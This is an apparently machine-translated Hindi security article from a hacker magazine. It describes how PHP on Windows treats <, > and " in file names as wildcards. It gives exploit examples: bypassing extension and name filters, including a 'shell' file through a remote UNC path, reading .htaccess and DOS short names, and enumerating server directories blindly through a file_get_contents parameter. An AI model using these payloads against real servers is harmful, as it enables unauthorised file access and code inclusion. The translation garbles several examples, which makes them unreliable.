👱🏿 🐑 💫 PHP में नई फ़ाइल पहुँच कमजोरियाँ 🦄 👩‍🔧 😏

कुछ साल पहले, हर कोई बस त्रुटि-आधारित MySQL के साथ पागल हो गया था, और अनसुना कुछ जटिल लग रहा था और वास्तविक जीवन में नहीं मिला। अब ये पहले से ही क्लासिक तकनीक हैं। हम निष्कर्षों में अशक्त बाइट्स जैसे डायनासोर के बारे में क्या कह सकते हैं, जिसे फ़ाइल नाम से बदल दिया गया था। शोधकर्ता लगातार कुछ खोद रहे हैं, साथ आ रहे हैं, और इस बीच, दुभाषियों और इंजनों के नए संस्करण पहले से ही सामने आ रहे हैं, और उनके साथ डेवलपर्स के नए कीड़े हैं।

वास्तव में, एक भेद्यता को खोजने के लिए तीन तरीके हैं: सरलता (जब एक शोधकर्ता कुछ चाल के साथ आता है और यह देखने के लिए जांच करता है कि क्या यह अभ्यास में काम करता है), स्रोत कोड विश्लेषण, और फ़ज़िंग। एक दिलचस्प चीनी फ़ज़िंग और इसके विकास के लिए, अपने हिस्से के लिए, मैं बताना चाहता हूं।

सुविधा सूची और परीक्षण के परिणाम

फ़ज़िंग न केवल मूल्यवान फर है ...

यह सब इस तथ्य के साथ शुरू हुआ कि Google ने जारी करने का आदेश दिया था जो मुझे याद नहीं है कि किस अनुरोध को और चीनी में साइट दिखाया गया है: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese , जहां चीनी फ़ज़र्स के कई दिलचस्प संग्रह एकत्र किए गए थे। दिलचस्प बात यह है कि इस सूची में हाल ही में पाया गया है जो अभी लेखों में प्रकाशित किया गया था। उनमें से निम्नलिखित सामग्री का एक कोड था जिसने मेरा ध्यान आकर्षित किया:

<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?>

उसने मुझे आकर्षित किया क्योंकि मुझे इसका मतलब समझ में नहीं आया, लेकिन उसने विवरण में परिचित win32 पात्रों को बनाया :)। चीनी लेखन का अनुवाद google.translate के साथ भी एक अजीब मनोरंजन था, इसलिए मैंने बेवकूफी से विंडोज के तहत इस कोड को निष्पादित किया और परिणाम को देखा। जब यह पता चला कि मेरा आश्चर्य क्या है तो विंडोज में फ़ाइल में कम से कम 4 नाम थे: 1.php, 1.php, 1.ph>, 1.ph <। अब चीनी लेखन मुझे इतना दूर नहीं लगा, और Google के अनुवादक ने इसका अर्थ समझने में मदद की। दरअसल, इस बहुत ही "समझदारी" में कोड के विवरण और इसके काम के परिणाम के अलावा और कुछ नहीं था। ऐसा नहीं है कि यह मोटी नहीं है - किसी भी तरह से! यह सियासत मुझे शोभा नहीं देती। मैं अभी भी इन चीनी को नहीं समझता - क्या उनके लिए यह समझना दिलचस्प नहीं था कि कौन से कार्य अभी भी असुरक्षित हैं, इस ऑपरेशन बग में क्या विशेषताएं हैं, और अंत में, यह भी काम क्यों करता है?

मैं भोज जारी रखने की मांग करता हूं!

मैंने जो पहला काम किया, वह एक दूसरा पुनरावृत्ति जोड़ने वाला था और अंतिम दो बाइट्स पर फ़ज़ी कोड चला रहा था। परिणाम अप्रत्याशित थे:

 1.p<0 (-  ) 1.p< (  ) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P)

पैटर्न यहां से स्पष्ट रूप से दिखाई दे रहे थे - फ़ाइल नाम के अंत में वर्ण हो सकते हैं: अवधि, डबल उद्धरण, स्थान, शून्य-बाइट। इस कूबड़ का परीक्षण करने के लिए, मैंने निम्नलिखित कोड चलाया:

 <?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>

जैसा कि आप अनुमान लगा सकते हैं, वह 1337 लौटा, यानी, सब कुछ भविष्यवाणी के अनुसार काम किया। यह अपने आप में पहले से ही एक लोकप्रिय भेद्यता के प्रतीकों का एक विस्तार था, समावेशन में शून्य बाइट का विकल्प। दुभाषिये का मजाक उड़ाना जारी रखने के बाद, अंत में स्लैश के साथ फ़ाइल नाम के निर्माण, जो समस्याओं के बिना भी पढ़े गए थे:

 file\./.\. file////. file\\\. file\\.//\/\/\/.

मुझे लगता है कि यहां सब कुछ स्पष्ट है: यदि आप फ़ाइल नाम के बाद स्लैश का उपयोग करते हैं, तो हमेशा अंत में एक अवधि होनी चाहिए। इस मामले में, स्लैश मिश्रित हो सकते हैं, और उनके बीच आप एक बिंदु को चिपका सकते हैं।

इस सब के साथ, मुख्य बात अस्पष्ट थी - प्रतीकों <और> क्या छिपाते हैं?

महान और शक्तिशाली WINAPI

जैसा कि मुझे जल्दी पता चला, फ़ज़िंग को इस त्रुटि की प्रकृति समझ में नहीं आती। दो विकल्प बचे थे: सॉर्ट देखने के लिए या कॉल को ट्रेस करने के लिए। इन दोनों विधियों ने बहुत जल्दी एक ही बात की ओर इशारा किया - फाइंडफर्स्टफाइल फ़ंक्शन को कॉल करना। उसी समय, कॉल पहले से ही वर्ण के साथ स्टैक पर था> द्वारा प्रतिस्थापित ?, और <द्वारा *, दोहरे उद्धरण को एक डॉट के साथ बदल दिया गया था। यह नोटिस करने में भी बहुत मज़ा आया कि, प्रतिस्थापन के बावजूद, <हमेशा फ़ाइल मास्क में * की तरह काम नहीं किया, लेकिन << हमेशा अच्छी तरह से काम किया। एक ही समय में, दोनों कॉल स्टैक पर बिल्कुल समान थे, लेकिन अलग-अलग परिणाम दिए (आंकड़ा देखें)। अब यह पूरी तरह से स्पष्ट है कि पैर कहाँ से बढ़ते हैं। और पैर वास्तव में एमएस नाम के तहत एफ से बढ़े।

MSDN का उपयोग

अब यह समझा जाने लगा कि क्या फाइंडफर्स्टाइल फ़ंक्शन का यह व्यवहार सामान्य है, या यहां बग होता है या नहीं। मैंने प्रलेखन के साथ इस प्रश्न के उत्तर की तलाश शुरू की: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx ।

दस्तावेज़ ने स्वयं वर्णों के बारे में कुछ भी नहीं कहा था <>, लेकिन टिप्पणियों में ...

बग!

इस फ़ंक्शन द्वारा '<' और '>' वर्णों को वाइल्डकार्ड की तरह माना जाता है।

[MSFT] - ये नामकरण ए फ़ाइल विषय में पथ और फ़ाइल नामों में अवैध वर्णों के रूप में सूचीबद्ध हैं। इस विषय को स्पष्ट करने के लिए इसे अद्यतन किया जा रहा है।

इतिहास

2007/10/19

xMartian

2008/02/05

मार्क एमोस - एमएसएफटी

यही है, इस बग को 2007 में वापस जाना गया था! और निर्माता की प्रतिक्रिया आम तौर पर अपनी सामग्री के साथ चौंकाने वाली थी ... कोई टिप्पणी नहीं :)। इस पर, ऐसा लगता है, PHP के इस व्यवहार का कारण पूरी तरह से स्पष्ट हो गया। आप इस बग के दायरे का विस्तार करना शुरू कर सकते हैं। विभिन्न विकल्पों की कोशिश करने के बाद, प्रलेखन का एक गुच्छा फिर से पढ़ें (MSDN वास्तव में बहुत उपयोगी है) और सैकड़ों विचारों की कोशिश की, मैंने कई नियमों की पहचान की है जो कि जीत-सिस्टम में फ़ाइल नामों के लिए काम करते हैं। इसके अलावा, FindFirstFile में बग केवल उनमें से पहले चार में योगदान देता है (हम शून्य बिंदु पर विचार नहीं करते हैं)। इसके अलावा, आगे देखते हुए, मैं कहूंगा कि भेद्यता चिंता न केवल file_get_contents फ़ंक्शन:

प्रतीक * और? PHP (फ़िल्टर्ड) के माध्यम से फाइंडफर्स्टाइल कॉल करते समय फ़ाइल नामों में काम न करें।
वर्ण <को FindFirstFile के साथ कॉल करते समय प्रतिस्थापित किया जाता है, अर्थात, किसी भी वर्ण के किसी भी संख्या का एक मुखौटा। इस मामले में, ऐसे मामले पाए गए जब यह सही ढंग से काम नहीं करता है (चित्र देखें)। एक गारंटीकृत मास्क * के लिए, << का उपयोग करें।

उदाहरण: शामिल ('शेल <') में शेल * फ़ाइल शामिल होगी, और यदि एक से अधिक फ़ाइल मास्क के नीचे आती है, तो जो पहले वर्णमाला में आता है वह जुड़ा होगा।
FindFirstFile के साथ कॉल करने पर> चरित्र को बदल दिया जाता है?, अर्थात कोई भी एकल वर्ण।

उदाहरण : शामिल हैं ('shell.p> p') में shell.p; p फ़ाइल शामिल होगी, और यदि एक से अधिक फ़ाइल मास्क के नीचे आती हैं, तो जो वर्णमाला में पहले आती है, वह जुड़ी होगी।
वर्ण "को प्रतिस्थापित किया जाता है जब एक FindFirstFile एक अवधि के साथ कहा जाता है।

उदाहरण: शामिल ('शेल' php ') शामिल करने के लिए बराबर है (' shell.php ')।
यदि फ़ाइल नाम का पहला वर्ण डॉट है, तो आप इस डॉट के संबंध में फ़ाइल को नाम के बिना पढ़ सकते हैं।

उदाहरण: fopen ("htaccess") fopen ("Htaccess") के बराबर है, और अधिक परिष्कृत रूप से, आइटम 1, fopen ("h <<") का उपयोग करके। चूंकि फ़ाइल नाम में दूसरा अक्षर "a" है, वर्णानुक्रम में। वह सबसे पहले होने की संभावना होगी।
फ़ाइल नामों के अंत में, आप एक या अलग प्रकार (आगे और पीछे) के स्लैश के अनुक्रमों का उपयोग कर सकते हैं, जिसके बीच में आप एक डॉट डाल सकते हैं, और अंत में हमेशा एक डॉट होना चाहिए, और "नहीं, लेकिन असली वाला।

उदाहरण: फोपेन ("")
आप एक अवधि के अलावा किसी भी चरित्र के बाद \\ से शुरू होने वाले नेटवर्क नामों का उपयोग कर सकते हैं। यह स्पष्ट है और लंबे समय से सभी के लिए जाना जाता था। मैं केवल यह जोड़ूंगा कि यदि नेटवर्क नाम मौजूद नहीं है, तो फ़ाइल के साथ ऑपरेशन में अतिरिक्त 4 सेकंड लगते हैं, जो समय की समाप्ति और त्रुटि max_execution_time में योगदान देता है (लेख " गुलचैट, चेहरा खोलें ") देखें। यह आपको allow_url_fopen = Off और RFI को बायपास करने की भी अनुमति देता है।

उदाहरण: शामिल हैं ('\\ बुराई करने वाला \ शेल। एफपी')
आप \\। \ के साथ शुरू होने वाले विस्तारित नामों का उपयोग कर सकते हैं, जो फ़ाइल नाम में ड्राइव के बीच स्विच करना संभव बनाता है।

उदाहरण: शामिल करें ('\\। \ C: \ my \ file.php \ .. \ _ \ _ \ _ \ D: \ otherfile.php')।
आप स्लैश फ़िल्टरिंग को बायपास करने के लिए वैकल्पिक डिस्क नाम सिंटैक्स का उपयोग कर सकते हैं।

उदाहरण: file_get_contents ('C: boot.ini') file_get_contents ('C: /boot.ini') के बराबर है
आप छोटी डॉस-संगत फ़ाइल और निर्देशिका नामों का उपयोग कर सकते हैं। यह एक द्वैध है, मैं बहस नहीं करता। लेकिन मैं इस तथ्य पर आपका ध्यान आकर्षित करता हूं कि यदि निर्देशिका में चार से अधिक फाइलें हैं, जिनके नाम तीन वर्णों से कम हैं, तो ऐसे नाम चार हेक्स वर्णों के साथ पूरक होंगे। इसी तरह, फ़ाइल का नाम बदल दिया जाएगा यदि निर्देशिका में चार से अधिक फाइलें हैं जिनके नाम समान दो पहले अक्षरों से शुरू होते हैं।

उद्धरण:
विशेष रूप से, यदि चार से अधिक फाइलें एक ही छह-वर्ण रूट का उपयोग करती हैं, तो फ़ाइल नाम के पहले दो वर्णों को चार-वर्ण हैश कोड के साथ जोड़कर और फिर एक अद्वितीय पदनाम जोड़कर अतिरिक्त फ़ाइल नाम बनाए जाते हैं। एक निर्देशिका में MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC और MYFAVO ~ 4.DOC नाम की फाइलें हो सकती हैं। इस रूट की अतिरिक्त फाइलों को MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC और MYEACC ~ 1.DOC नाम दिया जा सकता है।
उदाहरण: in.conf का DOS नाम IND763 ~ 1.CON है, यानी इसे लाइन file_get_contents ('<< D763 <<') के साथ पढ़ा जा सकता है, जिसमें वास्तविक फ़ाइल नाम से बाइट नहीं होती है! इन चार हेक्स पात्रों को कैसे गिना जाता है, यह कहीं नहीं कहा गया है, लेकिन वे केवल फ़ाइल नाम पर निर्भर करते हैं।
PHP में, कमांड लाइन वातावरण (mod_php, लेकिन php.exe नहीं) के तहत, आरक्षित नाम aux, con, prn, com1-9, lpt1-9 काम के साथ फ़ाइलों की बारीकियों।

उदाहरण: file_get_contents ('C: /tmp/con.jpg') CON डिवाइस से null बाइट्स को अंतहीन रूप से पढ़ेगा, EOF की प्रतीक्षा कर रहा है।

उदाहरण: file_put_contents ('C: /tmp/con.jpg',chr (0x07)) को सर्वर स्पीकर (संगीत :)) द्वारा ध्वनि दी जाएगी।

मैं आपको सभी वस्तुओं को काटने और एक विशिष्ट स्थान पर एक फ्रेम में लटकाए जाने की सलाह देता हूं। यह शानदार नहीं होगा :)।

हम गिनती खेलते हैं

मैं केवल फ़िज़िंग के तहत हस्ताक्षर में चीनी पर विश्वास नहीं कर सकता था कि भेद्यता केवल file_get_contents की चिंता करती है, अगर केवल इसलिए कि मुझे PHP के स्रोतों को थोड़ा याद है। दो बार सोचने के बिना, मैंने उन सभी कार्यों की जांच की जो मुझे फाइलों के साथ काम करने के बारे में याद थे। परिणाम सकारात्मक से अधिक थे।

कमजोरियाँ कार्यों में मौजूद हैं:

 fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()

इसमें मौजूद नहीं:

 rename unlink rmdir

जहां घूमना है, वहां तो नहीं है? लेकिन यह इतना बुरा नहीं है।

PoC: उपयोग के विचार

जाहिर है, इस भेद्यता का उपयोग सभी संभावित फिल्टर और प्रतिबंधों को बायपास करने के लिए किया जा सकता है। उदाहरण के लिए, .htaccess फ़ाइल के लिए, वैकल्पिक नाम h होगा << (अनुभाग 4, बिंदु 1 देखें)। आम तौर पर दो-चरित्र वाली फाइलें बिना नाम के पढ़ी जा सकती हैं (देखें खंड 9.)। अच्छी तरह से और इतने पर। एक और है, कोई कम दिलचस्प अनुप्रयोग नहीं है - फ़ोल्डर्स और फ़ाइलों के नाम की परिभाषा।

एक उदाहरण पर विचार करें:

 <?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>

इस कोड का उपयोग करके, आप बहुत आसानी से वेब सर्वर निर्देशिकाओं की एक सूची प्राप्त कर सकते हैं।

हम अनुरोध test.php भेजते हैं? A = .. / a <% 00 और जैसा उत्तर मिलता है

 Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...

या

 Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...

पहले मामले में, सर्वर को रूट में "ए" अक्षर से शुरू होने वाली एक भी निर्देशिका नहीं मिली, दूसरे में - पाया गया।

अगला, आप दूसरे पत्र और इतने पर का चयन शुरू कर सकते हैं। गति बढ़ाने के लिए, आप ध्वन्यात्मकता का उपयोग कर सकते हैं (लेख "तेज़, उच्च और फिर से तेज़ देखें । एसक्यूएल इंजेक्शन के संचालन के लिए क्रांतिकारी दृष्टिकोण" )। अंधा SQL इंजेक्शन काम करने के लिए अच्छी पुरानी तकनीक है।

प्रयोगों के दौरान, यह देखा गया कि कभी-कभी सर्वर त्रुटि संदेश में पाया पथ को तुरंत प्रदर्शित करता है। तब आपको केवल तभी चयन करना होगा जब निर्देशिका उसी वर्ण से शुरू हो। त्रुटि का निष्कर्ष क्या निर्भर करता है, मेरे पास इसका पता लगाने और परीक्षण के लिए इसे जनता पर छोड़ने का समय नहीं था।

गीतात्मक विषयांतर

यह ध्यान देने योग्य है कि जादूगर ने चीनी से एक रिपोर्ट भी प्राप्त की, जिन्होंने इसे 19 अप्रैल की शुरुआत में "वेब अनुप्रयोगों पर हमला करने के छोटे-ज्ञात तरीकों" लेख में दूसरों के बीच प्रकाशित किया था, लेकिन इस भेद्यता पर कोई स्पष्टीकरण और जोर नहीं था, केवल एक चीनी उदाहरण था, जिसमें से मैंने शुरू किया।

नैतिकता

ईमानदारी से, मैं वास्तव में अशक्त बाइट का विकल्प खोजना चाहता था, लेकिन व्यर्थ। लेकिन यह भेद्यता अन्य के लिए गुंजाइश खोलती है, कोई कम दिलचस्प हमला नहीं। वास्तव में, फाइलों के साथ काम करने के कार्यों के माध्यम से निर्देशिकाओं और फ़ाइलों को खोजने की क्षमता प्रदान करना। यह अपने आप में एक अनोखी घटना है। जैसा कि यह हो सकता है, चीनी के साथ उनकी फजीहत का सम्मान करें, लेकिन मैं उनसे और सभी से इस तरह से प्राप्त कच्चे डेटा का पता लगाने का आग्रह करता हूं। फजीहत, लेकिन आपको अपने सिर के साथ सोचना होगा।

उपयोगी लिंक:

हैकर पत्रिका, फरवरी (02) 145

व्लादिमीर "d0znp" वोरोत्सोव

हैकर की सदस्यता लें

PHP में नई फ़ाइल पहुँच कमजोरियाँ